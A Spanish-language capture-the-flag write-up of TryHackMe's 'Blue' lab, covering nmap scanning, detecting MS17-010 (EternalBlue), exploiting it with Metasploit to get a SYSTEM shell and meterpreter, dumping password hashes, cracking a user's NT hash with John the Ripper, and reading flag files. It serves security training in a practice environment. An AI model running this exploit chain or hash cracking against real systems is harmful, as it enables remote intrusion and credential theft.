Blue - TryHackMe
Hoy vamos a estar resolviendo la máquina Blue de TryHackMe. Esta es una máquina fácil tanto en la intrusión como en la escalada de privilegios, por lo que no supondrá ninguna complicación a la hora de realizarla.
Ya por el nombre de la máquina, podemos darnos una idea de por donde van los tiros, ¿quizá EternalBlue
?
Fase De Reconocimiento
Primeramente, vamos a utilizar la herramienta Nmap para determinar que puertos están abiertos, así como identificar la versión y servicios que corren en el activo. Para determinar que puertos están abiertos podemos realizar lo siguiente:
nmap -p- --open -T5 -v -n <dirección IP>
En caso de que el escaneo tarde demasiado en completar, tenemos esta otra alternativa:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <dirección IP>
A continuación se explican los parámetros utilizados en el escaneo de puertos con Nmap:
Parámetro | Explicación |
---|---|
-p- | Escanea todo el rango de puertos (65535 en total) |
--open | Nos indica todos aquellos puertos que están abiertos (o posiblemente abiertos) |
-T5 | La plantilla de temporizado nos permite agilizar nuestro escaneo, este valor puede ir desde 0 hasta 5, cabe aclarar que a mayor sea el valor de la plantilla, “generaremos más ruido”, pero no pasa nada ¿no? Al fin y al cabo estamos practicando en un entorno controlado y aquí somos todos White Hat |
-v | Verbose, reporta lo encontrado por consola |
-n | No aplicar resolución DNS |
-sS | Escaneo TCP SYN |
-min-rate | Emitir paquetes no más lentos que <valor> por segundo |
-vvv | Triple verbose, para obtener mayor información por consola |
-Pn | No aplicar host discovery |
nmap -sC -sV -p 135,139,445,3389,49152,49153,49154,49158,49160 <dirección IP>
A continuación se explican los parámetros utilizados en el escaneo de versiones y servicios con Nmap:
Parámetro | Explicación |
---|---|
-sC | Scripts básicos de enumeración |
-sV | Versión y servicios que corren bajo los puertos encontrados |
-p | Especificamos que puertos queremos analizar (los que encontramos abiertos en el paso anterior) |
Entre las preguntas que nos realiza la plataforma en esta primera fase, se encuentra:
- ¿Cuántos puertos están abiertos con un número de puerto inferior a 1000?
- ¿A qué es vulnerable esta máquina?
Estas preguntas son bastante fáciles de responder si realizamos un buen escaneo con Nmap. Para responder a la primera pregunta no hay donde perderse, bastará con introducir cuántos puertos abiertos, inferiores a 1000, hemos detectado con nuestro escaneo; recordemos que existen en total 65535 puertos posibles. Para responder a la segunda pregunta, tendremos que realizar un escaneo adicional, ya que se nos pregunta, a que ataque es vulnerable la máquina; a modo de pista, la plataforma nos da un ejemplo de respuesta: ms08-067.
Si recordamos, lo más relevante que encontramos con nuestro escaneo de versiones y servicios con Nmap, es el puerto 445
, o protocolo SMB
(Server Message Block).
De modo que procederemos a utilizar los scripts específicos con los que cuenta Nmap, para detectar vulnerabilidades en dicho protocolo.
Para poder utilizarlos podemos hacer lo siguiente:
nmap --script="smb-vuln*" -p 445 <dirección IP>
A continuación se explican los parámetros utilizados en el escaneo de vulnerabilidades del protocolo SMB
con Nmap:
Parámetro | Explicación |
---|---|
--script | Proporcionamos el script que queremos emplear; en este caso, como no teníamos un script en particular a utilizar, a través de expresiones regulares, indicamos que queremos utilizar todos aquellos scripts que comiencen por smb-vuln |
-p | Especificamos a que puertos queremos aplicar este escaneo |
Como podemos darnos cuenta, esta máquina es vulnerable a MS17-010
, o también conocido como EternalBlue
.
Fase De Explotación
Para esta segunda fase, TryHackMe realiza la fase de explotación con el uso de Metasploit
, no obstante, no recomiendo acostumbrarse a utilizar herramientas automatizadas, ya que perdemos bastante el control sobre lo que está pasando por detrás, de modo que no aprendemos; sin embargo, en esta máquina en concreto, no es posible realizar un procedimiento manual, ya que la máquina Blue
, está pensada para ser explotada mediante el uso de Metasploit.
Para hacer uso de Metasploit tendremos que abrir la aplicación, para ello haremos lo siguiente:
msfconsole
Una vez hemos abierto Metasploit, procederemos a buscar aquello que queremos explotar, en este caso, MS17-010
, o EternalBlue
, cualquiera de las dos formas es válida.
search eternalblue
search ms17-010
Posteriormente elegiremos el exploit a utilizar; de hecho, una de las preguntas de la plataforma justamente es, introducir el exploit que vamos a utilizar.
use exploit/windows/smb/ms17_010_eternalblue
Una vez hemos seleccionado el exploit, procederemos a configurar tanto el LHOST
como el RHOST
, que, dicho de otra forma, procederemos a introducir nuestra IP, y la IP de la máquina víctima.
show options
set LHOST <nuestra IP>
set RHOST <IP víctima>
Una vez hemos configurado dichos parámetros, bastará con empezar con el ataque, consiguiéndonos Metasploit una shell dentro de la máquina víctima.
Una vez llegados a este punto, TryHackMe nos pide convertir nuestra shell actual, en meterpreter
, para ello tendremos que abandonar nuestra sesión actual Ctrl + Z
.
Una vez fuera, tendremos que nuevamente buscar dentro de Metasploit, un módulo que nos permita pasar de una shell a meterpreter
.
search shell_to_meterpreter
Una vez hemos encontrado un módulo que nos sirva, tendremos que utilizarlo.
use post/multi/manage/shell_to_meterpreter
Y al igual que antes, tendremos que configurar cierto parámetro para poder conseguir un meterpreter
, en este caso, la sesión con la que estábamos trabajando antes.
show options
sessions
set SESSION 1
run
La opción sessions
nos permite listar todas las sesiones que tengamos activas; esto es útil si tenemos más de una sesión activa, y necesitamos indicar una en particular.
Una vez hemos conseguido un meterpreter
, podemos volver a nuestra sesión.
sessions 1
Escalada De Privilegios
TryHackMe nos indica que a través del comando migrate <ID del proceso>
, podemos convertirnos en el usuario que está corriendo dicho proceso, sin embargo, esto no tiene ningún sentido ya que somos de hecho un usuario con máximos privilegios, somos NT AUTHORITY\SYSTEM
, de modo que no tiene sentido migrar al usuario que ya somos.
Antes de pasar a conseguir las flags de la máquina, la plataforma nos sigue enseñando comandos útiles de Metasploit, en este caso el comando hashdump
, con el cual podemos listar todos los usuarios del sistema, así como sus contraseñas hasheadas.
En esta fase se nos pregunta por el nombre del usuario no predeterminado, es decir, aquel usuario que no sea Guest, o Administrator; finalmente, se nos pide crackear la contraseña de este usuario, para ello utilizaremos la herramienta John the Ripper
, en conjunto del diccionario rockyou.txt.
En caso de no contar con la herramienta John the Ripper
instalada, podemos hacer lo siguiente:
sudo apt install john
En nuestra máquina, crearemos un documento de texto que contenga la contraseña hasheada del usuario, podemos hacerlo de manera manual, o desde la misma terminal:
echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" >> hash
Una vez creado el archivo de texto, podemos pasar a crackear la contraseña:
sudo john --format=NT --wordlist=/ruta/del/diccionario/rockyou.txt hash
Una vez hemos crackeado la contraseña que se nos solicitaba, podemos ahora si, pasar a buscar las respectivas flags. En este caso existe un total de 3 flags, las cuales, según indica la plataforma, están escondidas en ubicaciones claves de un sistema Windows, por lo que es aconsejable aprender estas locaciones.
La primera flag dice que se encuentra en la raíz del sistema, dicho de otra forma, Disco Local C
.
Para poder navegar dentro de la máquina víctima, podríamos usar el mismo meterpreter
, sin embargo, en este caso nos manejaremos a través de una shell, para ello ejecutaremos el comando shell
. Una vez hecho esto, podemos ir hacia el directorio C:\\
, listar su contenido y encontrar la flag.
cd C:\\
dir
type flag1.txt
La segunda flag dice que se encuentra en una ubicación donde se almacenan las contraseñas dentro de Windows, dicho de otra forma, C:\Windows\System32\Config
.
cd C:\Windows\System32\Config
dir
type flag2.txt
La última flag dice que se encuentra en una ubicación donde los administradores suelen tener guardadas cosas “bastante interesantes”, personalmente no tengo idea de donde podría ser esta ubicación así que procederemos a buscar el archivo flag3.txt
, dentro de todo el sistema, para ello tendremos que ir a la raíz del sistema, y empezar a buscar desde ahí:
cd \
dir flag3.txt /s /p
Dudo mucho que los administradores guarden archivos importantes en una ubicación así, no obstante, es la plataforma la que nos comenta esto, y además, es aquí donde se encuentra la tercera y última flag, de modo que nos dirigiremos a esa ubicación para leer la flag.
cd C:\Users\Jon\Documents
dir
type flag3.txt